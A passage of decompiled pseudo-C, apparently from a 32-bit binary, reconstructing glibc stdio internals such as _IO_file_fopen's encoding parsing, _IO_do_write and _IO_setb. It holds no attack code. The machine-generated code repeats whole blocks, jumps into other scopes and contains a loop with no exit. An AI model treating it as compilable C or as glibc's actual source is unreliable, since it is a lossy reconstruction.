= v18 | v24; g101 = v49; result2 = _IO_file_open((struct struct_124 *)a1, (char *)a2, (int32_t *)v49, (struct struct_124 *)438, v13, &v38->e0); if (result2 == 0) { // 0x80b06b0 // branch -> 0x80b062b // 0x80b062b g98 = (int32_t)(struct struct_124 *)438; g101 = (int32_t)v13; g102 = (int32_t)v38; return 0; } // 0x80b06d6 v35 = g98 + 1; g95 = v35; str = (char *)v35; substr_pos = strstr(str, ",ccs="); g98 = v35; v28 = (struct struct_125 *)",ccs="; g101 = (int32_t)v28; v14 = (int32_t)substr_pos; if (substr_pos != NULL) { // 0x80b06f0 v36 = v14 + 5; g102 = v36; v22 = (int32_t)strchrnul((char *)v36, 44) - v14; *(char *)mempcpy(v21, (int32_t *)g102, v22 - 5) = 0; v40 = v1; v39 = (int32_t)v40; v47 = v22 + 16 & -4 & -256 | (int32_t)v40->e0[0]; v17 = v47; if (v47 == 0) { // 0x80b0732 g96 = v39; *(char *)v39 = 47; v10 = g96 + 1; g96 = v10; v25 = 1; v37 = v25 - 1; g95 = v37; // branch -> 0x80b073c while (v37 < 0 ^ (v25 & -v25) < 0 || v37 == 0) { // 0x80b073c *(char *)v10 = 47; v10 = g96 + 1; g96 = v10; v25++; v37 = v25 - 1; g95 = v37; // continue -> 0x80b073c } // 0x80b0747 *(char *)v10 = 0; v42 = v1; v41 = (int32_t)v42; g97 = v41; if (*(char *)(v41 + 2) == 0) { // 0x80b0753 g96 = v41; v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v42->e0[v41] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // branch -> 0x80b0758 while (g95 != 0) { // 0x80b0758 v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v44->e0[v11] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // continue -> 0x80b0758 } // 0x80b076c g97 = (int32_t)v44; // branch -> 0x80b076f } // 0x80b076f if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) { // 0x80b077f return _IO_file_close_it((struct struct_125 *)a1); } // 0x80b0853 v15 = (int32_t *)(v7 + 88); v45 = *v15; g95 = v45; *(int32_t *)v45 = *(int32_t *)(v45 + 4); v31 = g95; *(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12); *(int32_t *)(g95 + 44) = 0; *(int32_t *)(g95 + 48) = 0; result = *v15; *(int32_t *)(result + 52) = 0; *(int32_t *)(result + 56) = 0; v32 = v7; v12 = *(int32_t *)(v32 + 88) + 60; g98 = v12; *(int32_t *)(v32 + 84) = v12; v33 = g99; *(int32_t *)(v33 - 4) = 120; *(int32_t *)(v33 - 8) = 0x8132aa0; *(int32_t *)(v33 - 12) = g98; v48 = v33 - 16; *(int32_t *)v48 = 0x80b089c; g99 = v48; memcpy(a1, a2, (int32_t)a3); return result; } // 0x80b07fd g101 = v39; g96 = v39; int32_t v55 = v47; // 0x80b0820 v27 = v39; v50 = 0; // branch -> 0x80b0838 while (true) { // 0x80b0838 v19 = 0x1000000 * v55; v20 = v19 / 0x1000000; g98 = v20; v29 = g24; g95 = v29; if (*(char *)(v19 / 0x800000 + v29) == 8) { lab_0x72f23e0: // 0x80b080c if (v19 != 0x5f000000) { // 0x80b0811 if (v19 != 0x2d000000) { // 0x80b0816 if (v19 != 0x2e000000) { // 0x80b081b if (v19 != 0x2c000000) { // 0x80b0820 int32_t v56; // 0x80b082c int32_t v57; // 0x80b082c if (v19 == 0x2f000000) { int32_t v58 = v50 + 1; // 0x80b0953 if (v58 != 3) { // 0x80b0960 *(char *)v27 = 47; int32_t v59 = g96 + 1; // 0x80b0963 g96 = v59; // branch -> 0x80b082c // 0x80b082c v56 = g101 + 1; v57 = v17 & -256 | (int32_t)*(char *)v56; v17 = v57; g101 = v56; if (v57 == 0) { // break -> 0x80b0913 break; } v55 = v57; v27 = v59; v50 = v58; // continue -> 0x80b0838 continue; } } else { lab_0x72e6450: // 0x80b082c v56 = g101 + 1; v57 = v17 & -256 | (int32_t)*(char *)v56; v17 = v57; g101 = v56; if (v57 == 0) { // break -> 0x80b0913 break; } v55 = v57; // continue -> 0x80b0838 continue; } // 0x80b0747 *(char *)v27 = 0; v42 = v1; v41 = (int32_t)v42; g97 = v41; if (*(char *)(v41 + 2) == 0) { // 0x80b0753 g96 = v41; v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v42->e0[v41] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // branch -> 0x80b0758 while (g95 != 0) { // 0x80b0758 v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v44->e0[v11] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // continue -> 0x80b0758 } // 0x80b076c g97 = (int32_t)v44; // branch -> 0x80b076f } // 0x80b076f if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) { // 0x80b077f return _IO_file_close_it((struct struct_125 *)a1); } // 0x80b0853 v15 = (int32_t *)(v7 + 88); v45 = *v15; g95 = v45; *(int32_t *)v45 = *(int32_t *)(v45 + 4); v31 = g95; *(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12); *(int32_t *)(g95 + 44) = 0; *(int32_t *)(g95 + 48) = 0; result = *v15; *(int32_t *)(result + 52) = 0; *(int32_t *)(result + 56) = 0; v32 = v7; v12 = *(int32_t *)(v32 + 88) + 60; g98 = v12; *(int32_t *)(v32 + 84) = v12; v33 = g99; *(int32_t *)(v33 - 4) = 120; *(int32_t *)(v33 - 8) = 0x8132aa0; *(int32_t *)(v33 - 12) = g98; v48 = v33 - 16; *(int32_t *)v48 = 0x80b089c; g99 = v48; memcpy(a1, a2, (int32_t)a3); return result; } } } } } lab_0x10d22580:; int32_t v60 = *(int32_t *)(g25 + 4 * v20); // 0x80b084b g95 = v60; *(char *)v27 = (char)v60; int32_t v61 = g96 + 1; // 0x80b0850 g96 = v61; v27 = v61; // branch -> 0x80b082c goto lab_0x72e6450; } // 0x80b0747 int32_t v62; // 0x80b0747 *(char *)v62 = 0; v42 = v1; v41 = (int32_t)v42; g97 = v41; if (*(char *)(v41 + 2) == 0) { // 0x80b0753 g96 = v41; v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v42->e0[v41] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // branch -> 0x80b0758 while (g95 != 0) { // 0x80b0758 v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v44->e0[v11] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // continue -> 0x80b0758 } // 0x80b076c g97 = (int32_t)v44; // branch -> 0x80b076f } // 0x80b076f if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) { // 0x80b077f return _IO_file_close_it((struct struct_125 *)a1); } // 0x80b0853 v15 = (int32_t *)(v7 + 88); v45 = *v15; g95 = v45; *(int32_t *)v45 = *(int32_t *)(v45 + 4); v31 = g95; *(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12); *(int32_t *)(g95 + 44) = 0; *(int32_t *)(g95 + 48) = 0; result = *v15; *(int32_t *)(result + 52) = 0; *(int32_t *)(result + 56) = 0; v32 = v7; v12 = *(int32_t *)(v32 + 88) + 60; g98 = v12; *(int32_t *)(v32 + 84) = v12; v33 = g99; *(int32_t *)(v33 - 4) = 120; *(int32_t *)(v33 - 8) = 0x8132aa0; *(int32_t *)(v33 - 12) = g98; v48 = v33 - 16; *(int32_t *)v48 = 0x80b089c; g99 = v48; memcpy(a1, a2, (int32_t)a3); return result; } // 0x80b062b g98 = (int32_t)(struct struct_124 *)0x80b06e4; g101 = (int32_t)str; g102 = (int32_t)v28; return result2; } // 0x80b07a8 if (v46 == 109) { // 0x80b0926 *v16 = *v16 | 1; v53 = v9; v54 = g96; v52 = v24; // branch -> 0x80b06a8 } else { // 0x80b07b0 if (v46 == 120) { // 0x80b07b8 g98 = v9; v53 = v9; v54 = v30; v52 = v24 | 128; // branch -> 0x80b06a8 } else { v53 = v9; v54 = v30; v52 = v24; } } lab_0x30f7f960:; int32_t v63 = v54 + 5; // 0x80b06a8 if (v53 == v63) { // break -> 0x80b06b0 break; } v30 = v54; v51 = v53; v34 = v63; v24 = v52; // continue -> 0x80b0680 continue; } // 0x80b06b0 v38 = a4; v13 = (char *)g102; v49 = v18 | v24; g101 = v49; result2 = _IO_file_open((struct struct_124 *)a1, (char *)a2, (int32_t *)v49, (struct struct_124 *)438, v13, &v38->e0); if (result2 == 0) { // 0x80b06b0 // branch -> 0x80b062b // 0x80b062b g98 = (int32_t)(struct struct_124 *)438; g101 = (int32_t)v13; g102 = (int32_t)v38; return 0; } // 0x80b06d6 v35 = g98 + 1; g95 = v35; str = (char *)v35; substr_pos = strstr(str, ",ccs="); g98 = v35; v28 = (struct struct_125 *)",ccs="; g101 = (int32_t)v28; v14 = (int32_t)substr_pos; if (substr_pos != NULL) { // 0x80b06f0 v36 = v14 + 5; g102 = v36; v22 = (int32_t)strchrnul((char *)v36, 44) - v14; *(char *)mempcpy(v21, (int32_t *)g102, v22 - 5) = 0; v40 = v1; v39 = (int32_t)v40; v47 = v22 + 16 & -4 & -256 | (int32_t)v40->e0[0]; v17 = v47; if (v47 == 0) { // 0x80b0732 g96 = v39; *(char *)v39 = 47; v10 = g96 + 1; g96 = v10; v25 = 1; v37 = v25 - 1; g95 = v37; // branch -> 0x80b073c while (v37 < 0 ^ (v25 & -v25) < 0 || v37 == 0) { // 0x80b073c *(char *)v10 = 47; v10 = g96 + 1; g96 = v10; v25++; v37 = v25 - 1; g95 = v37; // continue -> 0x80b073c } // 0x80b0747 *(char *)v10 = 0; v42 = v1; v41 = (int32_t)v42; g97 = v41; if (*(char *)(v41 + 2) == 0) { // 0x80b0753 g96 = v41; v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v42->e0[v41] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // branch -> 0x80b0758 while (g95 != 0) { // 0x80b0758 v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v44->e0[v11] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // continue -> 0x80b0758 } // 0x80b076c g97 = (int32_t)v44; // branch -> 0x80b076f } // 0x80b076f if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) { // 0x80b077f return _IO_file_close_it((struct struct_125 *)a1); } // 0x80b0853 v15 = (int32_t *)(v7 + 88); v45 = *v15; g95 = v45; *(int32_t *)v45 = *(int32_t *)(v45 + 4); v31 = g95; *(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12); *(int32_t *)(g95 + 44) = 0; *(int32_t *)(g95 + 48) = 0; result = *v15; *(int32_t *)(result + 52) = 0; *(int32_t *)(result + 56) = 0; v32 = v7; v12 = *(int32_t *)(v32 + 88) + 60; g98 = v12; *(int32_t *)(v32 + 84) = v12; v33 = g99; *(int32_t *)(v33 - 4) = 120; *(int32_t *)(v33 - 8) = 0x8132aa0; *(int32_t *)(v33 - 12) = g98; v48 = v33 - 16; *(int32_t *)v48 = 0x80b089c; g99 = v48; memcpy(a1, a2, (int32_t)a3); return result; } // 0x80b07fd g101 = v39; g96 = v39; v27 = v39; v50 = 0; // branch -> 0x80b0838 while (true) { // 0x80b0838 v19 = 0x1000000 * v47; v20 = v19 / 0x1000000; g98 = v20; v29 = g24; g95 = v29; if (*(char *)(v19 / 0x800000 + v29) == 8) { goto lab_0x72f23e0; } goto lab_0x10d22580; } } // 0x80b062b g98 = (int32_t)(struct struct_124 *)0x80b06e4; g101 = (int32_t)str; g102 = (int32_t)v28; return result2; } } // 0x80b067c g98 = v6; v16 = (int32_t *)(v7 + 60); v30 = v6; v24 = v23; // branch -> 0x80b0680 while (true) { // 0x80b0680 v9 = v6 + 1; v46 = (int32_t)*(char *)v9 | v34 & -256; if (v46 != 99) { goto lab_0x277b34b0; } // 0x80b07c8 *v16 = *v16 | 2; // branch -> 0x80b06b0 // 0x80b06b0 v38 = a4; v13 = (char *)g102; v49 = v18 | v24; g101 = v49; result2 = _IO_file_open((struct struct_124 *)a1, (char *)a2, (int32_t *)v49, (struct struct_124 *)438, v13, &v38->e0); if (result2 == 0) { // 0x80b06b0 // branch -> 0x80b062b // 0x80b062b g98 = (int32_t)(struct struct_124 *)438; g101 = (int32_t)v13; g102 = (int32_t)v38; return 0; } // 0x80b06d6 v35 = g98 + 1; g95 = v35; str = (char *)v35; substr_pos = strstr(str, ",ccs="); g98 = v35; v28 = (struct struct_125 *)",ccs="; g101 = (int32_t)v28; v14 = (int32_t)substr_pos; if (substr_pos != NULL) { // 0x80b06f0 v36 = v14 + 5; g102 = v36; v22 = (int32_t)strchrnul((char *)v36, 44) - v14; *(char *)mempcpy(v21, (int32_t *)g102, v22 - 5) = 0; v40 = v1; v39 = (int32_t)v40; v47 = v22 + 16 & -4 & -256 | (int32_t)v40->e0[0]; v17 = v47; if (v47 == 0) { // 0x80b0732 g96 = v39; *(char *)v39 = 47; v10 = g96 + 1; g96 = v10; v25 = 1; v37 = v25 - 1; g95 = v37; // branch -> 0x80b073c while (v37 < 0 ^ (v25 & -v25) < 0 || v37 == 0) { // 0x80b073c *(char *)v10 = 47; v10 = g96 + 1; g96 = v10; v25++; v37 = v25 - 1; g95 = v37; // continue -> 0x80b073c } // 0x80b0747 *(char *)v10 = 0; v42 = v1; v41 = (int32_t)v42; g97 = v41; if (*(char *)(v41 + 2) == 0) { // 0x80b0753 g96 = v41; v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v42->e0[v41] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // branch -> 0x80b0758 while (g95 != 0) { // 0x80b0758 v26 = g102; v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25); g95 = v43; g102 = v26 + 1; v44->e0[v11] = v43; v11 = g96 + 1; g96 = v11; v44 = v1; // continue -> 0x80b0758 } // 0x80b076c g97 = (int32_t)v44; // branch -> 0x80b076f } // 0x80b076f if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) { // 0x80b077f return _IO_file_close_it((struct struct_125 *)a1); } // 0x80b0853 v15 = (int32_t *)(v7 + 88); v45 = *v15; g95 = v45; *(int32_t *)v45 = *(int32_t *)(v45 + 4); v31 = g95; *(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12); *(int32_t *)(g95 + 44) = 0; *(int32_t *)(g95 + 48) = 0; result = *v15; *(int32_t *)(result + 52) = 0; *(int32_t *)(result + 56) = 0; v32 = v7; v12 = *(int32_t *)(v32 + 88) + 60; g98 = v12; *(int32_t *)(v32 + 84) = v12; v33 = g99; *(int32_t *)(v33 - 4) = 120; *(int32_t *)(v33 - 8) = 0x8132aa0; *(int32_t *)(v33 - 12) = g98; v48 = v33 - 16; *(int32_t *)v48 = 0x80b089c; g99 = v48; memcpy(a1, a2, (int32_t)a3); return result; } // 0x80b07fd g101 = v39; g96 = v39; v27 = v39; v50 = 0; // branch -> 0x80b0838 while (true) { // 0x80b0838 v19 = 0x1000000 * v47; v20 = v19 / 0x1000000; g98 = v20; v29 = g24; g95 = v29; if (*(char *)(v19 / 0x800000 + v29) == 8) { goto lab_0x72f23e0; } goto lab_0x10d22580; } } // 0x80b062b g98 = (int32_t)(struct struct_124 *)0x80b06e4; g101 = (int32_t)str; g102 = (int32_t)v28; return result2; } } // 0x80b062b g98 = (int32_t)(struct struct_124 *)v5; g101 = (int32_t)(char *)v4; g102 = (int32_t)(struct struct_125 *)v3; return 0; } // Address range: 0x80b0974 - 0x80b0a54 int32_t _IO_do_write(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = g100; // 0x80b0974 int32_t v2 = g102; // 0x80b0977 int32_t * v3 = (int32_t *)g101; // 0x80b0978_0 int32_t v4 = g98; // 0x80b0979 int32_t v5 = (int32_t)a1; // 0x80b097a g98 = v5; g102 = (int32_t)a3; if (a3 == NULL) { // 0x80b09ec g98 = v4; g101 = (int32_t)v3; g102 = v2; g100 = v1; return 0; } char v6 = *(char *)(v5 + 1); // 0x80b0984 g1 = false; g103 = (v6 & 16) == 0; int32_t v7; // 0x80b09a7 int32_t v8; // 0x80b0a3f2 int32_t * v9; // 0x80b0a3f_76 int32_t v10; // 0x80b0a3f10 int32_t v11; // 0x80b0a3f11 int32_t * v12; // 0x80b0a3c_0 int32_t v13; int32_t v14; int32_t v15; // 0x80b0a0b int32_t v16; // 0x80b0a35 int32_t v17; // 0x80b09aa int32_t v18; // 0x80b099c int32_t v19; // 0x80b09ac int32_t v20; // 0x80b09bc int32_t v21; // 0x80b09ce int32_t v22; // 0x80b099c int32_t v23; // 0x80b0a09 int32_t v24; // 0x80b09bc int32_t v25; // 0x80b09ac if (v6 == 16) { uint32_t v26 = *(int32_t *)(v5 + 8); // 0x80b098e g96 = v26; uint32_t v27 = *(int32_t *)(v5 + 16); // 0x80b0991 g97 = v27; g1 = v27 > v26; g103 = v27 == v26; if (v27 != v26) { int32_t v28 = *(int32_t *)(v5 + 148); // 0x80b0a2d g95 = v28; v16 = v27 - v26; g97 = v16; int32_t v29 = v16 / -0x80000000; // 0x80b0a39 g103 = v16 != -0x80000000; g1 = (v16 & 0x40000000) != 0; g96 = v29; v12 = (int32_t *)v29; ((int32_t (*)(int32_t, int32_t, int32_t, int32_t))*(int32_t *)(v28 + 64))(v5, v16, v29, 1); int32_t v30 = g97; // 0x80b0a42 g96 = v30; int32_t v31 = g95; // 0x80b0a44 g97 = v31; g1 = false; g103 = (v31 & v30) == -1; if ((v31 & v30) == -1) { // 0x80b09df g98 = v16; g101 = (int32_t)v12; g102 = 1; g100 = v1; return -1; } // 0x80b0a4e *(int32_t *)(g98 + 76) = v31; *(int32_t *)(g98 + 80) = g96; v11 = 1; // branch -> 0x80b099c } else { v11 = v2; v12 = v3; v16 = v4; } // 0x80b099c v18 = g98; v22 = *(int32_t *)(v18 + 148); g95 = v22; v7 = (int32_t)a2; ((int32_t (*)(int32_t, int32_t, int32_t))*(int32_t *)(v22 + 60))(v18, v7, g102); v17 = g95; v14 = v17; v19 = g98; v25 = (int32_t)*(int16_t *)(v19 + 68); v20 = v19; v10 = v11; v9 = v12; v8 = v16; if ((v25 || v17 & -0x10000) != 0) { // 0x80b09b8 if (v17 != 0) { // 0x80b0a02 v23 = v25 - 1; v15 = _IO_adjust_column(v23, v7, v17, v1); *(int16_t *)(g98 + 68) = (int16_t)(v15 + 1); v20 = g98; v10 = v17; v9 = a2; v8 = v23; // branch -> 0x80b09bc } else { v20 = v19; v10 = v11; v9 = v12; v8 = v16; } } // 0x80b09bc v24 = *(int32_t *)(v20 + 28); v13 = v24; *(int32_t *)(v20 + 12) = v24; *(int32_t *)(g98 + 4) = v13; *(int32_t *)(g98 + 8) = v13; *(int32_t *)(g98 + 20) = v13; *(int32_t *)(g98 + 16) = v13; v21 = g98; if (*(int32_t *)(v21 + 92) < 1) { // 0x80b09f8 if (*(int32_t *)v21 != 514) { // 0x80b09f8 // branch -> 0x80b09d8 // 0x80b09d8 *(int32_t *)(v21 + 24) = v13; if (g102 == v14) { // 0x80b09ec g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return 0; } // 0x80b09df g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return -1; } } // 0x80b09d5 // branch -> 0x80b09d8 // 0x80b09d8 *(int32_t *)(v21 + 24) = *(int32_t *)(v21 + 32); if (g102 == v14) { // 0x80b09ec g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return 0; } // 0x80b09df g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return -1; } // 0x80b0a1a *(int32_t *)(v5 + 76) = -1; *(int32_t *)(g98 + 80) = -1; v11 = v2; v12 = v3; v16 = v4; // branch -> 0x80b099c // 0x80b099c v18 = g98; v22 = *(int32_t *)(v18 + 148); g95 = v22; v7 = (int32_t)a2; ((int32_t (*)(int32_t, int32_t, int32_t))*(int32_t *)(v22 + 60))(v18, v7, g102); v17 = g95; v14 = v17; v19 = g98; v25 = (int32_t)*(int16_t *)(v19 + 68); v20 = v19; v10 = v11; v9 = v12; v8 = v16; if ((v25 || v17 & -0x10000) != 0) { // 0x80b09b8 if (v17 != 0) { // 0x80b0a02 v23 = v25 - 1; v15 = _IO_adjust_column(v23, v7, v17, v1); *(int16_t *)(g98 + 68) = (int16_t)(v15 + 1); v20 = g98; v10 = v17; v9 = a2; v8 = v23; // branch -> 0x80b09bc } else { v20 = v19; v10 = v11; v9 = v12; v8 = v16; } // 0x80b09bc v24 = *(int32_t *)(v20 + 28); v13 = v24; *(int32_t *)(v20 + 12) = v24; *(int32_t *)(g98 + 4) = v13; *(int32_t *)(g98 + 8) = v13; *(int32_t *)(g98 + 20) = v13; *(int32_t *)(g98 + 16) = v13; v21 = g98; if (*(int32_t *)(v21 + 92) < 1) { // 0x80b09f8 if (*(int32_t *)v21 != 514) { // 0x80b09f8 // branch -> 0x80b09d8 // 0x80b09d8 *(int32_t *)(v21 + 24) = v13; if (g102 == v14) { // 0x80b09ec g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return 0; } // 0x80b09df g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return -1; } } // 0x80b09d5 // branch -> 0x80b09d8 // 0x80b09d8 *(int32_t *)(v21 + 24) = *(int32_t *)(v21 + 32); if (g102 == v14) { // 0x80b09ec g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return 0; } // 0x80b09df g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return -1; } // 0x80b09bc v24 = *(int32_t *)(v20 + 28); v13 = v24; *(int32_t *)(v20 + 12) = v24; *(int32_t *)(g98 + 4) = v13; *(int32_t *)(g98 + 8) = v13; *(int32_t *)(g98 + 20) = v13; *(int32_t *)(g98 + 16) = v13; v21 = g98; if (*(int32_t *)(v21 + 92) >= 1) { // 0x80b09d5 // branch -> 0x80b09d8 // 0x80b09d8 *(int32_t *)(v21 + 24) = *(int32_t *)(v21 + 32); if (g102 == v14) { // 0x80b09ec g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return 0; } // 0x80b09df g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return -1; } // 0x80b09f8 if (*(int32_t *)v21 != 514) { // 0x80b09f8 // branch -> 0x80b09d8 // 0x80b09d8 *(int32_t *)(v21 + 24) = v13; if (g102 == v14) { // 0x80b09ec g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return 0; } // 0x80b09df g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return -1; } // 0x80b09d5 // branch -> 0x80b09d8 // 0x80b09d8 *(int32_t *)(v21 + 24) = *(int32_t *)(v21 + 32); if (g102 == v14) { // 0x80b09ec g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return 0; } // 0x80b09df g98 = v8; g101 = (int32_t)v9; g102 = v10; g100 = v1; return -1; } // Address range: 0x80b0af4 - 0x80b0b25 int32_t _IO_un_link(char * a1, int32_t a2) { // 0x80b0af4 g101 = (int32_t)a1; g95 = 0; g102 = 0; return 0; } // Address range: 0x80b0c84 - 0x80b0cba int32_t _IO_link_in(int32_t * a1, int32_t a2) { // 0x80b0c84 g101 = (int32_t)a1; *a1 = *a1 | 128; g95 = 0; g102 = 0; return 0; } // Address range: 0x80b0f14 - 0x80b0f72 int32_t _IO_setb(struct struct_128 * a1, int32_t * a2, int32_t * a3, struct struct_128 * a4, int32_t * a5) { int32_t v1 = (int32_t)a1; // 0x80b0f18 int32_t v2 = *(int32_t *)(v1 + 28); // 0x80b0f1b g96 = v2; int32_t v3 = a1->e0; // 0x80b0f70 int32_t v4 = v3; if (v2 != 0) { // 0x80b0f22 if (v3 == 1) { // 0x80b0f54 munmap((int32_t *)v2, 4095 - v2 + *(int32_t *)(v1 + 32) & -0x1000); v4 = *(int32_t *)v1; // branch -> 0x80b0f29 } } // 0x80b0f29 *(int32_t *)(v1 + 28) = (int32_t)a2; int32_t v5 = (int32_t)a3; // 0x80b0f2f g95 = v5; *(int32_t *)(v1 + 32) = v5; int32_t result = (int32_t)a4; // 0x80b0f38 if (a4 == NULL) { int32_t v6 = v4 | 1; // 0x80b0f48 g97 = v6; *(int32_t *)v1 = v6; return result; } int32_t v7 = v4 & -2; // 0x80b0f3c g97 = v7; *(int32_t *)v1 = v7; return result; } // Address range: 0x80b1224 - 0x80b1257 int32_t _IO_adjust_column(int32_t a1, uint32_t a2, int32_t a3, int32_t a4) { int32_t v1 = g100; // 0x80b1224 int32_t v2 = g98; // 0x80b1227 g96 = a2; uint32_t v3 = a3 + a2; // 0x80b122e if (v3 <= a2) { // 0x80b1250 g95 = a3; g98 = v1; g100 = v1; return a3 + a1; } int32_t v4 = v3 - 1; // 0x80b1235 g97 = v4; int32_t v5; // 0x80b124a if (*(char *)v4 == 10) { // 0x80b124a v5 = v3 - v4; g95 = v5; g98 = v2; g100 = v1; return v5 - 1; } int32_t v6; // 0x80b1244 while (true) { // 0x80b1240 if (v4 > a2) { // 0x80b1244 v6 = v4 - 1; g97 = v6; if (*(char *)v6 == 10) { // break -> 0x80b124a break; } v4 = v6; // continue -> 0x80b1240 continue; } } // 0x80b124a v5 = v3 - v6; g95 = v5; g98 = v2; g100 = v1; return v5 - 1; } // Address range: 0x80b1bf4 - 0x80b1cef int32_t _IO_no_init(struct struct_131 * a1, int32_t a2, int32_t a3, struct struct_130 * a4, struct struct_120 * a5) { struct struct_131 * v1 = a1; int32_t v2 = (int32_t)a4; a1->e0 = a2 | -0x4530000; a1->e15 = 0; a1->e7 = 0; a1->e8 = 0; a1->e3 = 0; a1->e1 = 0; a1->e2 = 0; a1->e4 = 0; a1->e5 = 0; a1->e6 = 0; a1->e13 = 0; a1->e9 = 0; a1->e10 = 0; a1->e11 = 0; a1->e12 = 0; a1->e17 = 0; int32_t * v3 = a1->e18; // 0x80b1c73 if (v3 != NULL) { // 0x80b1c7a v3[2] = 0; v3[1] = 0; *v3 = 0; a1 = v1; // branch -> 0x80b1c8e } // 0x80b1c8e a1->e21 = a3; if (a3 >= 0) { // 0x80b1c95 v1->e20 = (int32_t *)v2; a4->e6 = 0; a4->e7 = 0; a4->e2 = 0; *(int32_t *)v2 = 0; a4->e1 = 0; a4->e3 = 0; a4->e4 = 0; a4->e5 = 0; a4->e8 = 0; a4->e9 = 0; a4->e10 = 0; a4->e12 = &a5->e0; // branch -> 0x80b1ced } else { a5 = (struct struct_120 *)v3; } // 0x80b1ced return (int32_t)a5; } // Address range: 0x80b1cf0 - 0x80b1d8b int32_t _IO_init(struct struct_133 * a1, int32_t a2) { // 0x80b1cf0 a1->e0 = a2 | -0x4530000; a1->e15 = 0; a1->e7 = 0; a1->e8 = 0; a1->e3 = 0; a1->e1 = 0; a1->e2 = 0; a1->e4 = 0; a1->e5 = 0; a1->e6 = 0; a1->e13 = 0; a1->e9 = 0; a1->e10 = 0; a1->e11 = 0; a1->e12 = 0; a1->e17 = 0; int32_t * v1 = a1->e18; // 0x80b1d68 if (v1 != NULL) { // 0x80b1d6f v1[2] = 0; v1[1] = 0; *v1 = 0; // branch -> 0x80b1d83 } // 0x80b1d83 a1->e20 = -1; return (int32_t)v1; } // Address range: 0x80b1d8c - 0x80b1e11 int32_t _IO_unsave_markers(struct struct_134 * a1) { int32_t * v1 = a1->e8; // 0x80b1d93 if (v1 != NULL) { // 0x80b1d9a a1->e8 = NULL; // branch -> 0x80b1da1 } int32_t * v2 = a1->e5; // 0x80b1da1 g96 = (int32_t)v2; g1 = false; g103 = v2 == NULL; if (v2 == NULL) { // 0x80b1dcd return (int32_t)v1; } int32_t * v3 = (int32_t *)(int32_t)a1; // 0x80b1da8_0 uint32_t v4 = *v3; // 0x80b1da8 uint32_t v5 = v4 / 256; // 0x80b1daa g1 = false; g103 = v5 % 2 == 0; int32_t * v6; // 0x80b1daf if ((v4 & -256) == 256) { // 0x80b1daf v6 = a1->e5; free(v6); a1->e5 = NULL; a1->e7 = 0; a1->e6 = 0; // branch -> 0x80b1dcd } else { // 0x80b1dd4 g1 = false; int32_t v7 = v5 & 254; // 0x80b1dd4 g103 = v7 == 0; *v3 = 256 * v7 | v4 & -0xff01; int32_t v8 = a1->e7; // 0x80b1ddc g97 = v8; a1->e2 = v8; a1->e7 = a1->e2; a1->e3 = (int32_t *)g96; a1->e5 = (int32_t *)(int32_t)a1->e3; a1->e1 = (int32_t *)g96; int32_t * v9 = a1->e5; // 0x80b1df1 free(v9); a1->e5 = NULL; a1->e7 = 0; a1->e6 = 0; v6 = v9; // branch -> 0x80b1dcd } // 0x80b1dcd return (int32_t)v6; } // Address range: 0x80b253c - 0x80b25e9 int32_t _IO_str_init_static_internal(int32_t * a1, int32_t * a2, int32_t a3, int32_t result) { struct struct_128 * v1 = (struct struct_128 *)g102; // bp-8 int32_t v2 = g98; // 0x80b2541 int32_t v3 = (int32_t)a1; // 0x80b2542 g98 = v3; int32_t v4 = (int32_t)a2; // 0x80b2545 int32_t v5; int32_t v6; int32_t * v7; // 0x80b25e0_03 if (a3 == 0) { // 0x80b25d8 v1 = NULL; v6 = rawmemchr((struct struct_138 *)a2, (int32_t)g2); // branch -> 0x80b255e // 0x80b255e v7 = (int32_t *)v4; v5 = v6; _IO_setb((struct struct_128 *)g98, (int32_t *)v4, (int32_t *)v6, (struct struct_128 *)g2, (int32_t *)0x80b25e0); 